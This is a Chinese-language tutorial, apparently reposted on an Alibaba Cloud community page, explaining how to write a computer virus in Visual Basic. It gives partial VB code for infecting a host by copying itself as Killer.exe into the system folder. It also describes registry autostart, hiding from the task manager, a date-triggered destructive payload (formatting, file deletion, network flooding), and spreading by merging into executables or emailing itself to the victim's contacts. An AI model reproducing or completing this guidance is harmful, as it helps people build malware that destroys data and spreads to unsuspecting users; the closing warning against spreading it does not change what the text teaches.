如何用Visual Basic編寫病毒

來源:互聯網
上載者:User

相信電腦界的每個人都痛恨電腦病毒,她給我們帶來了很多麻煩和損失,可你知道編寫病毒的方法和過程嗎?在此我僅以VB編寫為例,揭開她的面紗。

  用VB編寫病毒需要考慮到如下幾點:

  * 感染主機

  首先染毒檔案運行後先要判斷主機是否以感染病毒,也就是判斷病毒主體檔案是否存在,如果不存在則將病毒主體拷貝到指定位置(如:將病毒檔案拷貝到c:\windows\system\),可用filecopy語句實現;如果病毒已感染主機則結束判斷。

  例如,判斷C:\windows\system\Killer.exe是否存在,如果有則退出判斷,如果沒有則證明本機未感染病毒,立即拷入病毒檔案。

  病毒源檔案名稱為game.exe

  聲明部分:

  ""定義 FileExists% 函數

    public success%

    Function FileExists%(fname$)

    On Local Error Resume Next

    Dim ff%

    ff% = FreeFile

    Open fname$ For Input As ff%

    If Err Then

    FileExists% = False

    Else

    FileExists% = True

    End If

    Close ff%

    End Function

  代碼部分:

  ""判斷檔案是否存在

    success% = FileExists%("C:\windows\system\Killer.exe")

    If success% = False Then ""病毒不存在則拷貝病毒到電腦

    FileCopy "game.exe", "C:\windows\system\Killer.exe"

    ... ""修改註冊表,將其加入RUN中。(省略若干代碼)

    End If

  * 開機啟動病毒

  在病毒感染主機的同時,將自身加入註冊表的開機運行中,這與向主機拷入病毒是同時進行的,主機感染後不再修改註冊表。可通過編程和調用API函數對WIN註冊表進行操作來實現,這樣在每次啟動電腦時病毒自動啟動。(具體編寫方法請查閱其它資料)

  * 工作管理員

  在工作管理員列表中禁止病毒本身被列出,可以通過編程來實現。用代碼 App.TaskVisible = false 就可以實現;再有就是通過調用Win API函數來實現,這裡就不作介紹了。

  * 病毒發作條件

  可用Day(Date)來判斷今天是幾號,再與確定好的日期作比較,相同則表現出病毒主體的破壞性,否則不發作。也可用Time、Date或其它方法作為病毒發作條件的判斷。例:

  if day(date)=16 then ""16是發作日期,取值為1-31的整數

    ... ... ""kill ******* 當日期相符時啟動並執行破壞性代碼(格式化、刪除指定的檔案類型、發送資料包杜塞網路等,省略若干代碼)

  end if

  * 病毒的破壞性

  編寫的此部分代碼決定了病毒威力的強弱。輕的可以使系統資源迅速減少直至死機(需要你懂得一點蠕蟲的原理),也就是實現開機即死的效果;也可以加入硬碟炸彈代碼、系統後台刪檔案等。重的可以使電腦徹底癱瘓(不作介紹,你可以參閱其它病毒的有關資料)。

  * 病毒的繁殖

  原理很簡單,就是將其自身與其它可執行檔合并,也就是兩個檔案並成一個檔案。也可通過E-Mail傳播,方法是病毒讀取被感染主機的郵件清單,將帶有病毒附件的E-Mail發給列表中的每一個人(這需要你懂得VB網路編程)。

  讀完本文章相信您已對病毒的編寫思路有了初步的瞭解,如果你是個VB愛好者,你已經可以編寫一個很簡單的病毒了,但你要是精通VB的話,請不要有編寫後傳播她的想法,因為傳播她造成很大的影響將改變你的命運(被公安抓住就掛了)。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.